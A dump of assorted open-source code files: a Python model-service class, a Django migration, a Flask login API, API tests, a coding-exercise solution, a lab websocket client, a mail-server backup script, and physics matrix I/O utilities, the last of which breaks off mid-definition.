+{"seq_id":"44455237450","text":"import base64\nimport json\nimport logging\nimport uuid\nfrom abc import ABC, abstractmethod\nfrom datetime import datetime\nfrom io import BytesIO\nfrom typing import Any, AsyncIterator, Generic, Protocol, TypeVar\n\nfrom src.build.job_manager_client import ApiException, ApiTypeError\nfrom src.build.job_manager_client.api.jobmanager_api import JobmanagerApi\nfrom src.build.job_manager_client.model.run import Run\nfrom src.build.job_manager_client.model.run_params import RunParams\nfrom src.build.objectstore_client.api.objectstore_api import ObjectstoreApi\nfrom src.build.objectstore_client.exceptions import NotFoundException\nfrom src.build.objectstore_client.model.json_response import JsonResponse\nfrom src.exceptions import (\n    ModelIdUpdateNotAllowedException,\n    ModelNotFoundException,\n)\nfrom src.services import DATE_FORMAT_STR\nfrom src.services.auth_service import get_parsed_token\nfrom src.services.messaging_service import MessagingService\n\n\nclass Model(Protocol):\n    id: str\n    run_id: str\n    creation_time: str\n\n    def dict(self) -> dict[str, Any]:\n        pass\n\n\nT = TypeVar(\"T\", bound=Model)\n\n\nclass ModelService(Generic[T], ABC):\n    def __init__(\n        self,\n        objectstore: ObjectstoreApi,\n        jobmanager: JobmanagerApi,\n    ):\n        self.objectstore = objectstore\n        self.jobmanager = jobmanager\n\n    @property\n    @abstractmethod\n    def config_file_name(self) -> str:\n        raise NotImplementedError\n\n    @property\n    @abstractmethod\n    def messaging_service(self) -> MessagingService:\n        raise NotImplementedError\n\n    @abstractmethod\n    def get_file_name(self, model: T, file_name: str, usertoken: str) -> str:\n        raise NotImplementedError\n\n    @abstractmethod\n    def build_model(self, dict_: dict[str, Any]) -> T:\n        raise NotImplementedError\n\n    @property\n    @abstractmethod\n    def model_name(self) -> str:\n        raise NotImplementedError\n\n    @abstractmethod\n    def create_run_params(self, model: T) -> RunParams:\n        raise NotImplementedError\n\n    def create_model(self, model: T, usertoken: str) -> T:\n        model.id = str(uuid.uuid4())\n        model.creation_time = datetime.utcnow().strftime(DATE_FORMAT_STR)\n        self._persist_model(model, usertoken=usertoken)\n        self._notify_model_update(usertoken)\n        return model\n\n    def get_models(self, usertoken: str) -> list[T]:\n        object_names: list[str] = self.objectstore.get_objects_with_prefix(\n            path_prefix=\"\", usertoken=usertoken\n        )\n        return [\n            self._load_model_from_object_name(object_name, usertoken)\n            for object_name in object_names\n            if object_name.endswith(self.config_file_name)\n        ]\n\n    def get_model_by_id(self, id_: str, usertoken: str) -> T:\n        models_with_id = [\n            model\n            for model in self.get_models(usertoken=usertoken)\n            if model.id == id_\n        ]\n        if not models_with_id:\n            raise ModelNotFoundException(self.model_name, id_)\n        return models_with_id.pop()\n\n    def update_model_by_id(self, id_: str, model: T, usertoken: str) -> T:\n        if id_ != model.id:\n            raise ModelIdUpdateNotAllowedException(self.model_name)\n        self._persist_model(model, usertoken=usertoken)\n        self._notify_model_update(usertoken)\n        return model\n\n    def delete_model_by_id(self, id_: str, usertoken: str) -> None:\n        try:\n            model = self.get_model_by_id(id_, usertoken=usertoken)\n        except ModelNotFoundException:\n            return\n        self.terminate_run_for_model(model, usertoken=usertoken)\n        self.objectstore.delete_objects_with_prefix(\n            path_prefix=self.get_file_name(\n                model, file_name=\"\", usertoken=usertoken\n            ),\n            usertoken=usertoken,\n        )\n        self._notify_model_update(usertoken)\n\n    def terminate_run_for_model(self, model: T, usertoken: str) -> None:\n        if model.run_id is None:\n            return\n        try:\n            run: Run = self.jobmanager.get_run_by_id(\n                model.run_id, usertoken=usertoken\n            )\n            if run.status == \"Running\":\n                self.jobmanager.terminate_run_by_id(\n                    model.run_id, usertoken=usertoken\n                )\n        except ApiException as e:\n            logging.warning(e)\n        except ApiTypeError as e:\n            logging.error(e)\n\n    def get_presigned_get_url(\n        self, model: T, file_name: str, usertoken: str\n    ) -> str | None:\n        full_name = self.get_file_name(model, file_name, usertoken=usertoken)\n        try:\n            return self.objectstore.get_presigned_get_url(  # type: ignore\n                full_name, usertoken=usertoken\n            )\n        except NotFoundException:\n            return None\n\n    def get_presigned_put_url(\n        self, id_: str, file_name: str, usertoken: str\n    ) -> str:\n        model = self.get_model_by_id(id_, usertoken=usertoken)\n        full_name = self.get_file_name(model, file_name, usertoken=usertoken)\n        return self.objectstore.get_presigned_put_url(  # type: ignore\n            full_name, usertoken=usertoken\n        )\n\n    async def stream_models(\n        self, usertoken: str, client_id: uuid.UUID\n    ) -> AsyncIterator[list[T]]:\n        user = get_parsed_token(usertoken)\n        yield self.get_models(usertoken)\n        while True:\n            await self.messaging_service.wait(user.id, client_id)\n            yield self.get_models(usertoken)\n\n    def terminate_model_stream(self, client_id: uuid.UUID) -> None:\n        self.messaging_service.unsubscribe(client_id)\n\n    def _notify_model_update(self, usertoken: str) -> None:\n        user = get_parsed_token(usertoken)\n        self.messaging_service.publish(user.id)\n\n    def _persist_model(self, model: T, usertoken: str) -> None:\n        encoded_model = BytesIO(json.dumps(model.dict()).encode())\n        self.objectstore.put_object_by_name(\n            object_name=self.get_file_name(\n                model, self.config_file_name, usertoken\n            ),\n            body=encoded_model,\n            usertoken=usertoken,\n        )\n\n    def _load_model_from_object_name(\n        self, object_name: str, usertoken: str\n    ) -> T:\n        json_response: JsonResponse = self.objectstore.get_json_object_by_name(\n            object_name, usertoken=usertoken\n        )\n        json_content_bytes = json_response.json_content.encode()\n        json_str = base64.decodebytes(json_content_bytes)\n        json_dict = json.loads(json_str)\n        return self.build_model(json_dict)\n","repo_name":"WOGRA-AG/Os4ML","sub_path":"services/model-manager/src/services/model_service.py","file_name":"model_service.py","file_ext":"py","file_size_in_byte":6584,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"60"}
+{"seq_id":"39997221587","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('deployments', '0002_prdeployment_docker_id'),\n    ]\n\n    operations = [\n        migrations.AddField(\n            model_name='prdeployment',\n            name='start_time',\n            field=models.DateTimeField(blank=True, null=True),\n        ),\n    ]\n","repo_name":"frigg/frigg-hq","sub_path":"frigg/deployments/migrations/0003_prdeployment_start_time.py","file_name":"0003_prdeployment_start_time.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"60"}
+{"seq_id":"8107925095","text":"from flask import Blueprint, session, request, redirect, url_for, render_template\r\nfrom loguru import logger\r\nfrom pydantic import ValidationError\r\nfrom app.core.schemas import User,\\\r\n        UserRegistration, UserData, UserDataResult, UserLogin\r\nimport app.core.database as database\r\nfrom app.core.utils import hash_password\r\nfrom app.routes.authorized import authorizedHandler\r\n\r\napi_user = Blueprint(\"api_user\", __name__, url_prefix=\"/api/user\")\r\n\r\n\r\n@api_user.route(\"/me\", methods=[\"GET\"])\r\n@authorizedHandler\r\ndef me() :\r\n    \"\"\"\r\n        Вернуть информацию по себе из сессии\r\n    \"\"\"\r\n    try : \r\n        user = database.userdb.get(session[\"user\"][\"email\"]).result\r\n        if user :\r\n            logger.info(\"/api/user/me\")\r\n            user = (user).model_dump()\r\n            return User(**user).model_dump(), 200\r\n        else :\r\n            return \"403\", 403\r\n    except Exception as exc :\r\n        logger.error(\"/api/user/me : ошибка при исполнении хендлера: {exc}\", exc=exc)\r\n        return \"500\", 500\r\n    \r\n\r\n@api_user.route(\"/<string:email>\", methods=[\"GET\"])\r\ndef getUser(email : str) :\r\n    \"\"\"\r\n        Вернуть информацию, что пользователь существует\r\n    \"\"\"\r\n    try : \r\n        user = database.userdb.get(email).result\r\n        if user :\r\n            return \"200\", 200\r\n        else :\r\n            return \"404\", 404\r\n    except Exception as exc :\r\n        logger.error(\"/api/user/<email> : ошибка при исполнении хендлера: {exc}\", exc=exc)\r\n        return \"500\", 500\r\n\r\n\r\n\r\n@api_user.route(\"/registration\", methods=[\"POST\"])\r\ndef registration() :\r\n    \"\"\"\r\n        POST - принимать запрос с формой для регистрации юзера.\r\n    \"\"\"\r\n    try :\r\n        user_to_registration = UserRegistration(**request.form)\r\n\r\n        # т.к. это одна сеть и нет как таковых \"запросов\" - безопасно хешировать здесь\r\n        user_to_registration.password = hash_password(user_to_registration.password,\r\n                                                      user_to_registration.email)\r\n        # может быть логика здесь дополнительная\r\n        user_to_database = UserData(**user_to_registration.model_dump())\r\n        \r\n        # все ошибки обрабатываются уже внутри, датабаза возвращает лишь коды\r\n        result : UserDataResult = database.userdb.add(user=user_to_database)\r\n\r\n        logger.info(\"/api/user/registration : регистрация пользователя res={res}\",\r\n                                res=(result.result is not None))\r\n\r\n        if result.code == 0 :\r\n            user = User(**result.result.model_dump()).model_dump()\r\n            session[\"user\"] = user\r\n            #return user, 200\r\n            return redirect(url_for(\"root\", _method=\"GET\")), 302\r\n        elif result.code == 2 :\r\n            return \"409\", 409\r\n        else : \r\n            return \"500\", 500\r\n        \r\n    except ValidationError :\r\n        return \"422\", 422\r\n    except Exception as exc :\r\n        logger.error(\"/api/user/registration : ошибка при исполнении хендлера: {exc}\", exc=exc)\r\n        return \"500\", 500\r\n    \r\n\r\n@api_user.route(\"/login\", methods=[\"POST\"])\r\ndef login() :\r\n    \"\"\"\r\n        POST - принимать запрос с формой для логина юзера.\r\n    \"\"\"\r\n    try :\r\n        user_to_login = UserLogin(**request.form)\r\n\r\n        # т.к. это одна сеть и нет как таковых \"запросов\" - безопасно хешировать здесь\r\n        user_to_login.password = hash_password( user_to_login.password,\r\n                                                user_to_login.email )\r\n                \r\n        # все ошибки обрабатываются уже внутри, датабаза возвращает лишь коды\r\n        result : UserDataResult = database.userdb.get(user_to_login.email)\r\n\r\n        if result.result is not None and result.result.password != user_to_login.password :\r\n            result = UserDataResult(code=4, result=None) # нет прав\r\n\r\n        logger.info(\"/api/user/login : авторизация пользователя res={res}\",\r\n                                res=(result.result is not None))\r\n\r\n        if result.code == 0 :\r\n            user = User(**result.result.model_dump()).model_dump()\r\n            session[\"user\"] = user\r\n            #return user, 200\r\n            return redirect(url_for('root', _method=\"GET\")), 302\r\n        elif result.code == 3 :\r\n            #return \"404\", 404\r\n            context = {\"current_user\" : None, \r\n               \"show_logo\" : True,\r\n               \"show_footer\" : True,\r\n               \"message\" : f\"Такого пользователя ({user_to_login.email}) не существует\"}\r\n            return render_template(\"login.html\", **context), 200\r\n        elif result.code == 4 :\r\n            #return \"403\", 403\r\n            context = {\"current_user\" : None, \r\n               \"show_logo\" : True,\r\n               \"show_footer\" : True,\r\n               \"message\" : \"Неправильный логин или пароль\"}\r\n            return render_template(\"login.html\", **context), 200\r\n        else : \r\n            return \"500\", 500\r\n        \r\n    except ValidationError :\r\n        return \"422\", 422\r\n    except Exception as exc :\r\n        logger.error(\"/api/user/login : ошибка при исполнении хендлера: {exc}\", exc=exc)\r\n        return \"500\", 500\r\n    \r\n\r\n@api_user.route(\"/logout\", methods=[\"POST\"])\r\n@authorizedHandler\r\ndef logout() :\r\n    \"\"\"\r\n        POST - принимать запрос с формой для логина юзера.\r\n    \"\"\"\r\n    try :\r\n       logger.info(\"/api/user/logout\")\r\n       del session[\"user\"]\r\n       return redirect(url_for('root', _method=\"GET\")), 302\r\n    except Exception as exc :\r\n        logger.error(\"/api/user/logout : ошибка при исполнении хендлера: {exc}\", exc=exc)\r\n        return \"500\", 500","repo_name":"ilyata76/uniyar-mat-list","sub_path":"app/routes/api_user.py","file_name":"api_user.py","file_ext":"py","file_size_in_byte":6229,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"36949688303","text":"import uuid\n\nfrom allure import description, feature, link, step, title\nfrom hamcrest import assert_that, is_\n\nfrom framework.asserts.common import assert_status_code, assert_response_message\nfrom framework.asserts.product_asserts import check_mapping_db_to_api\nfrom framework.endpoints.product_api import ProductAPI\n\n\n@feature(\"Getting product info by ID\")\n@link(\n    url=\"https://github.com/Sunagatov/Online-Store/wiki/API-Specification-for-Product\",\n    name=\"Description of the tested functionality\",\n)\nclass TestProduct:\n    @title(\"Getting product info by ID not authorized\")\n    @description(\n        \"WHEN not authorized requesting to get product info by ID, THEN product info is returned\"\n    )\n    def test_get_all_products(self, postgres):\n        with step(\"Getting info about the random product in DB\"):\n            db_data = postgres.get_random_products()[0]\n\n        with step(\"Getting product info by ID via API\"):\n            data = ProductAPI().get_by_id(_id=db_data[\"id\"])\n            assert_data = data.json()\n\n        with step(\"Checking mapping data DB <> API\"):\n            check_mapping_db_to_api(reference=assert_data, compared=db_data)\n\n    @title(\"Getting a non-existent product\")\n    @description(\n        \"WHEN requesting to get by a non-existent product ID, THEN the user receives a 404 status code\"\n    )\n    def test_get_product(self):\n        with step(\"Generating a non-existent ID\"):\n            non_exist_id = str(uuid.uuid4())\n\n        with step(\n            f'Getting product info by non-existent product ID via API \"{non_exist_id}\"'\n        ):\n            data = ProductAPI().get_by_id(_id=non_exist_id)\n\n        with step(\"Checking response API\"):\n            assert_status_code(data, 404)\n            expected_message = (\n                f\"The product with productId = {non_exist_id} is not found.\"\n            )\n            assert_response_message(data, expected_message)\n","repo_name":"Sunagatov/Iced-Latte-QA","sub_path":"tests/product/test_product.py","file_name":"test_product.py","file_ext":"py","file_size_in_byte":1914,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"60"}
+{"seq_id":"11040818649","text":"import heapq, sys\n\n\"\"\"\n[Re-Try]\n1) 숫자 묶음을 입력 받으면서 힙 정렬을 수행 시키자\n\"\"\"\n\n# Input\nnum_list = []\nresult = 0\n\n# Heap push => 이런 방식으로도 한 줄씩 들어오는 입력을 받을 수 있구나\nfor i in range(int(sys.stdin.readline())): # Input N\n    heapq.heappush(num_list, int(sys.stdin.readline())) # Input Num_list\n\n# 예외 처리 => 1개 받는 경우\nif len(num_list) == 1:\n    print(0) # 아 1개 받는 경우에는 합칠 필요가 없기 때문에 그렇구나!\n\nelse:\n    while len(num_list) > 1:\n        temp = heapq.heappop(num_list) + heapq.heappop(num_list) # 오름차순으로 Pop\n        result += temp\n        heapq.heappush(num_list, temp)\n\n    print(result)\n\n\n","repo_name":"qcqced123/coding_test","sub_path":"baekjoon/greedy/baekjoon_1715_book.py","file_name":"baekjoon_1715_book.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"8223167546","text":"from websocket import create_connection\nws = create_connection(\"ws://tcpip.epfl.ch:5006\")\n#print(\"Sending 'Hello, World'...\")\nmsg = \"CMD_short:0\"\n#msg = msg.encode()\nws.send(msg)\nprint(\"Sent\")\nprint(\"Receiving...\")\ndataset = ''\nwhile True:\n    result = ws.recv()\n    if(result):\n        #       print(\"Received '%s'\" % result)\n        dataset += result\n    else:\n        break\nws.close()\n\nprint(dataset)\n","repo_name":"FurkanKarakas/TCP-IP-Networking-EPFL-Fall-2019","sub_path":"Lab3/Part 6/onur.py","file_name":"onur.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"38405809355","text":"#!/usr/bin/python3\n\n# This script performs a backup of all user data:\n# 1) System services are stopped while a copy of user data is made.\n# 2) An incremental backup is made using rdiff-backup into the\n#    directory STORAGE_ROOT/backup/rdiff-history. This directory\n#    will contain the latest files plus a complete history for\n#    all prior backups.\n# 3) The stopped services are restarted.\n# 4) The backup directory is compressed into a single file using tar.\n# 5) That file is encrypted with a long password stored in backup/secret_key.txt.\n\nimport sys, os, os.path, shutil\n\nfrom utils import exclusive_process, load_environment, shell\n\n# settings\nfull_backup = \"--full\" in sys.argv\nkeep_backups_for = \"31D\" # destroy backups older than 31 days\n\nenv = load_environment()\n\nexclusive_process(\"backup\")\n\n# Ensure the backup directory exists.\nbackup_dir = os.path.join(env[\"STORAGE_ROOT\"], 'backup')\nbackup_duplicity_dir = os.path.join(backup_dir, 'duplicity')\nos.makedirs(backup_dir, exist_ok=True)\n\n# Stop services.\nshell('check_call', [\"/usr/sbin/service\", \"dovecot\", \"stop\"])\nshell('check_call', [\"/usr/sbin/service\", \"postfix\", \"stop\"])\n\n# Update the backup mirror directory which mirrors the current\n# STORAGE_ROOT (but excluding the backups themselves!).\ntry:\n\tshell('check_call', [\n\t\t\"/usr/bin/duplicity\",\n\t\t\"full\" if full_backup else \"incr\",\n\t\t\"--no-encryption\",\n\t\t\"--archive-dir\", \"/tmp/duplicity-archive-dir\",\n\t\t\"--name\", \"mailinabox\",\n\t\t\"--exclude\", backup_dir,\n\t\t\"--volsize\", \"100\",\n\t\t\"--verbosity\", \"warning\",\n\t\tenv[\"STORAGE_ROOT\"],\n\t\t\"file://\" + backup_duplicity_dir\n\t\t])\nfinally:\n\t# Start services again.\n\tshell('check_call', [\"/usr/sbin/service\", \"dovecot\", \"start\"])\n\tshell('check_call', [\"/usr/sbin/service\", \"postfix\", \"start\"])\n\n# Remove old backups. This deletes all backup data no longer needed\n# from more than 31 days ago. Must do this before destroying the\n# cache directory or else this command will re-create it.\nshell('check_call', [\n\t\"/usr/bin/duplicity\",\n\t\"remove-older-than\",\n\tkeep_backups_for,\n\t\"--archive-dir\", \"/tmp/duplicity-archive-dir\",\n\t\"--name\", \"mailinabox\",\n\t\"--force\",\n\t\"--verbosity\", \"warning\",\n\t\"file://\" + backup_duplicity_dir\n\t])\n\n# Remove old increments. This deletes incremental data obsoleted by\n# any subsequent full backups.\nshell('check_call', [\n\t\"/usr/bin/duplicity\",\n\t\"remove-all-inc-of-but-n-full\",\n\t\"1\",\n\t\"--archive-dir\", \"/tmp/duplicity-archive-dir\",\n\t\"--name\", \"mailinabox\",\n\t\"--force\",\n\t\"--verbosity\", \"warning\",\n\t\"file://\" + backup_duplicity_dir\n\t])\n\n# Remove duplicity's cache directory because it's redundant with our backup directory.\nshutil.rmtree(\"/tmp/duplicity-archive-dir\")\n\n# Encrypt all of the new files.\nbackup_encrypted_dir = os.path.join(backup_dir, 'encrypted')\nos.makedirs(backup_encrypted_dir, exist_ok=True)\nfor fn in os.listdir(backup_duplicity_dir):\n\tfn2 = os.path.join(backup_encrypted_dir, fn) + \".enc\"\n\tif os.path.exists(fn2): continue\n\n\t# Encrypt the backup using the backup private key.\n\tshell('check_call', [\n\t\t\"/usr/bin/openssl\",\n\t\t\"enc\",\n\t\t\"-aes-256-cbc\",\n\t\t\"-a\",\n\t\t\"-salt\",\n\t\t\"-in\", os.path.join(backup_duplicity_dir, fn),\n\t\t\"-out\", fn2,\n\t\t\"-pass\", \"file:%s\" % os.path.join(backup_dir, \"secret_key.txt\"),\n\t\t])\n\n\t# The backup can be decrypted with:\n\t# openssl enc -d -aes-256-cbc -a -in latest.tgz.enc -out /dev/stdout -pass file:secret_key.txt | tar -z\n\n# Remove encrypted backups that are no longer needed.\nfor fn in os.listdir(backup_encrypted_dir):\n\tfn2 = os.path.join(backup_duplicity_dir, fn.replace(\".enc\", \"\"))\n\tif os.path.exists(fn2): continue\n\tos.unlink(os.path.join(backup_encrypted_dir, fn))\n","repo_name":"yositune/mailinabox","sub_path":"management/backup.py","file_name":"backup.py","file_ext":"py","file_size_in_byte":3593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"60"}
+{"seq_id":"8868323697","text":"#!/user/bin/python3\n#  -*- coding: utf-8 -*-\n\"\"\"\n    StringIO 只能操作str\n    数据读写不一定是文件，也可以在内存中读写。\n    StringIO顾名思义就是在内存中读写str\n\"\"\"\nfrom io import StringIO\n\nf = StringIO()\nf.write('hello')\nf.write(' ')\nf.write('world!\\n')\nprint(f.getvalue())\n\nf1 = StringIO('hello!\\nworld!\\n')\nwhile True:\n    s = f1.readline()\n    if s == '':\n        break\n    print(s)\n","repo_name":"tinghaoMa/python","sub_path":"demo/IO/03_StringIO.py","file_name":"03_StringIO.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"38935650748","text":"var.verboseRead = 0\nread('t.nex')\nt = var.trees[0]\nread('d.nex')\n\nt.data = Data()\nt.newComp(free=1, spec='empirical')\nt.newRMatrix(free=1, spec='ones')\nt.setPInvar(free=1, val=0.0)\nt.setNGammaCat(nGammaCat=4)\nt.newGdasrv(free=1, val=1.0)\nt.optLogLike()\n# If I wanted to save the tree (with branch lengths, of course), I could\n#t.writeNexus('optTree.nex')\n# If I wanted to see the optimized model params, I could\n#t.model.dump()\n\n\n\n","repo_name":"pgfoster/p4-phylogenetics","sub_path":"share/Examples/H_calcLike/B_simple2/sOpt.py","file_name":"sOpt.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"60"}
+{"seq_id":"33352701007","text":"from typing import Union, Iterable, List, Tuple\nfrom pathlib import Path\nimport tarfile\nimport time\nimport numpy as np\nimport pandas as pd\nfrom numpy import ndarray\nfrom scipy.ndimage import gaussian_filter1d\n\n\ndef mama_read(filename: str) -> Union[Tuple[ndarray, ndarray],\n                                      Tuple[ndarray, ndarray, ndarray]]:\n    \"\"\"Read 1d and 2d mama spectra/matrices\n\n    Args:\n        filename (str): Filename of matrix/spectrum\n\n    Returns:\n        2 or 3 eleement tuple containing\n            - **counts** (*ndarray*): array of counts.\n            - **x_array** (*ndarray*): mid-bin energies of x axis.\n            - **y_array** (*ndarray, optional*): Returned only if input is 2d.\n                Mid-bin energies of y-axis.\n\n    Raises:\n        ValueError: If format is wrong, ie. if the calibrations line is\n            not as expected.\n\n    \"\"\"\n    counts = np.genfromtxt(filename, skip_header=10, skip_footer=1,\n                           encoding=\"latin-1\")\n    cal = {}\n    with open(filename, 'r', encoding='latin-1') as datafile:\n        calibration_line = datafile.readlines()[6].split(\",\")\n        if len(calibration_line) == 4:\n            ndim = 1\n            cal = {\n                \"a0x\": float(calibration_line[1]),\n                \"a1x\": float(calibration_line[2]),\n                \"a2x\": float(calibration_line[3]),\n                }\n        elif len(calibration_line) == 7:\n            ndim = 2\n            cal = {\n                \"a0x\": float(calibration_line[1]),\n                \"a1x\": float(calibration_line[2]),\n                \"a2x\": float(calibration_line[3]),\n                \"a0y\": float(calibration_line[4]),\n                \"a1y\": float(calibration_line[5]),\n                \"a2y\": float(calibration_line[6])\n                }\n        else:\n            raise ValueError(\"File format must be wrong or not implemented.\\n\"\n                             \"Check calibration line of the Mama file\")\n\n    if ndim == 1:\n        Nx = counts.shape[0]\n        x_array = np.linspace(0, Nx - 1, Nx)\n        # Make arrays in center-bin calibration:\n        x_array = cal[\"a0x\"] + cal[\"a1x\"] * x_array + cal[\"a2x\"] * x_array**2\n        # counts, E array\n        return counts, x_array\n\n    elif ndim == 2:\n        Ny, Nx = counts.shape\n        y_array = np.linspace(0, Ny - 1, Ny)\n        x_array = np.linspace(0, Nx - 1, Nx)\n        # Make arrays in center-bin calibration:\n        x_array = cal[\"a0x\"] + cal[\"a1x\"] * x_array + cal[\"a2x\"] * x_array**2\n        y_array = cal[\"a0y\"] + cal[\"a1y\"] * y_array + cal[\"a2y\"] * y_array**2\n        # counts, Eg array, Ex array\n        return counts, x_array, y_array\n\n\ndef mama_write(mat, filename, comment=\"\", **kwargs):\n    ndim = mat.values.ndim\n    if ndim == 1:\n        mama_write1D(mat, filename, comment, **kwargs)\n    elif ndim == 2:\n        mama_write2D(mat, filename, comment, **kwargs)\n    else:\n        NotImplementedError(\"Mama cannot read ojects with more then 2D.\")\n\n\ndef mama_write1D(vec, filename, comment=\"\", _assert=True):\n    if _assert:\n        assert(vec.shape[0] <= 8192),\\\n            \"Mama cannot handle vectors with dimensions > 8192. \"\\\n            \"Rebin before saving.\"\n\n    # Calculate calibration coefficients.\n    calibration = vec.calibration()\n    cal = {\n        \"a0x\": calibration['a0'],\n        \"a1x\": calibration['a1'],\n        \"a2x\": 0,\n    }\n\n    # Write mandatory header:\n    header_string = '!FILE=Disk \\n'\n    header_string += '!KIND=Spectrum \\n'\n    header_string += '!LABORATORY=Oslo Cyclotron Laboratory (OCL) \\n'\n    header_string += '!EXPERIMENT= oslo_method_python \\n'\n    header_string += '!COMMENT={:s} \\n'.format(comment)\n    header_string += '!TIME=DATE:' + time.strftime(\"%d-%b-%y %H:%M:%S\",\n                                                   time.localtime()) + '   \\n'\n    header_string += (\n        '!CALIBRATION EkeV=6, %12.6E, %12.6E, %12.6E \\n'\n        % (\n            cal[\"a0x\"],\n            cal[\"a1x\"],\n            cal[\"a2x\"],\n        ))\n    header_string += '!PRECISION=16 \\n'\n    header_string += \"!DIMENSION=1,0:{:4d} \\n\".format(vec.shape[0] - 1)\n    header_string += '!CHANNEL=(0:%4d) ' % (vec.shape[0] - 1)\n\n    footer_string = \"!IDEND=\\n\"\n\n    # Write matrix:\n    np.savetxt(\n        filename,\n        vec.values,\n        fmt=\"%-17.8E\",\n        delimiter=\" \",\n        newline=\"\\n\",\n        header=header_string,\n        footer=footer_string,\n        comments=\"\")\n\n\ndef mama_write2D(mat, filename, comment=\"\", _assert=True):\n    if _assert:\n        assert(mat.shape[0] <= 2048 and mat.shape[1] <= 2048),\\\n            \"Mama cannot handle matrixes with any of the dimensions > 2048. \"\\\n            \"Rebin before saving.\"\n\n    # Calculate calibration coefficients.\n    calibration = mat.calibration()\n    cal = {\n        \"a0x\": calibration['a0y'],\n        \"a1x\": calibration['a1y'],\n        \"a2x\": 0,\n        \"a0y\": calibration['a0x'],\n        \"a1y\": calibration['a1x'],\n        \"a2y\": 0\n    }\n\n    # Write mandatory header:\n    header_string = '!FILE=Disk \\n'\n    header_string += '!KIND=Matrix \\n'\n    header_string += '!LABORATORY=Oslo Cyclotron Laboratory (OCL) \\n'\n    header_string += '!EXPERIMENT= oslo_method_python \\n'\n    header_string += '!COMMENT={:s} \\n'.format(comment)\n    header_string += '!TIME=DATE:' + time.strftime(\"%d-%b-%y %H:%M:%S\",\n                                                   time.localtime()) + '   \\n'\n    header_string += (\n      '!CALIBRATION EkeV=6, %12.6E, %12.6E, %12.6E, %12.6E, %12.6E, %12.6E \\n'\n       % (\n          cal[\"a0x\"],\n          cal[\"a1x\"],\n          cal[\"a2x\"],\n          cal[\"a0y\"],\n          cal[\"a1y\"],\n          cal[\"a2y\"],\n          ))\n    header_string += '!PRECISION=16 \\n'\n    header_string += \"!DIMENSION=2,0:{:4d},0:{:4d} \\n\".format(\n        mat.shape[1] - 1, mat.shape[0] - 1)\n    header_string += '!CHANNEL=(0:%4d,0:%4d) ' % (mat.shape[1] - 1,\n                                                  mat.shape[0] - 1)\n\n    footer_string = \"!IDEND=\\n\"\n\n    # Write matrix:\n    np.savetxt(\n        filename,\n        mat.values,\n        fmt=\"%-17.8E\",\n        delimiter=\" \",\n        newline=\"\\n\",\n        header=header_string,\n        footer=footer_string,\n        comments=\"\")\n\n\ndef read_response(fname_resp_mat, fname_resp_dat):\n    # Import response matrix\n    R, cal_R, Eg_array_R, tmp = mama_read(fname_resp_mat)\n    # We also need info from the resp.dat file:\n    resp = []\n    with open(fname_resp_dat) as file:\n        # Read line by line as there is crazyness in the file format\n        lines = file.readlines()\n        for i in range(4, len(lines)):\n            try:\n                row = np.array(lines[i].split(), dtype=\"double\")\n                resp.append(row)\n            except:\n                break\n\n    resp = np.array(resp)\n    # Name the columns for ease of reading\n    FWHM = resp[:, 1]  # *6.8 # Correct with fwhm @ 1.33 MeV?\n    eff = resp[:, 2]\n    pf = resp[:, 3]\n    pc = resp[:, 4]\n    ps = resp[:, 5]\n    pd = resp[:, 6]\n    pa = resp[:, 7]\n\n    return R, FWHM, eff, pc, pf, ps, pd, pa, Eg_array_R\n\n\ndef save_tar(objects: Union[np.ndarray, Iterable[np.ndarray]],\n             path: Union[str, Path]) -> None:\n    if isinstance(path, str):\n        path = Path(path)\n    path.parent.mkdir(parents=True, exist_ok=True)\n\n    tarpath = str(path) if path.suffix == '.tar' else str(path) + '.tar'\n\n    tar = tarfile.open(tarpath, 'w')\n    for num, object in enumerate(objects):\n        npath = Path(str(path)[:-len(path.suffix)] + str(num) + '.npy')\n        np.save(npath, object)\n        tar.add(npath)\n        npath.unlink()\n    tar.close()\n\n\ndef load_tar(path: Union[str, Path]) -> List[np.ndarray]:\n    if isinstance(path, str):\n        path = Path(path)\n\n    tarpath = str(path) if path.suffix == '.tar' else str(path) + '.tar'\n\n    tar = tarfile.open(tarpath)\n    objects = []\n    for name in tar.getnames():\n        tar.extract(name)\n        objects.append(np.load(name))\n        Path(name).unlink()\n    return objects\n\n\ndef save_numpy_2D(matrix: np.ndarray, Eg: np.ndarray,\n                  Ex: np.ndarray, path: Union[str, Path]):\n    mat = np.empty((matrix.shape[0] + 1, matrix.shape[1] + 1))\n    mat[0, 1:] = Eg\n    mat[1:, 0] = Ex\n    mat[1:, 1:] = matrix\n    np.save(path, mat)\n\n\ndef load_numpy_2D(path: Union[str, Path]\n                  ) -> Tuple[np.ndarray, np.ndarray, np.ndarray]:\n    mat = np.load(path)\n    return mat[1:, 1:], mat[0, 1:], mat[1:, 0]\n\n\ndef save_txt_2D(matrix: np.ndarray, Eg: np.ndarray,\n                Ex: np.ndarray, path: Union[str, Path],\n                header=None):\n    if header is None:\n        header = (\"Format:\\n\"\n                  \" 0   Eg0    Eg1    Eg2   ...\\n\"\n                  \"Ex0  val00  val01  val02\\n\"\n                  \"Ex1  val10  val11  ...\\n\"\n                  \"Ex2  ...\\n\"\n                  \"...\")\n    elif header is False:\n        header = None\n    mat = np.empty((matrix.shape[0] + 1, matrix.shape[1] + 1))\n    mat[0, 0] = -0\n    mat[0, 1:] = Eg\n    mat[1:, 0] = Ex\n    mat[1:, 1:] = matrix\n    np.savetxt(path, mat, header=header)\n\n\ndef load_txt_2D(path: Union[str, 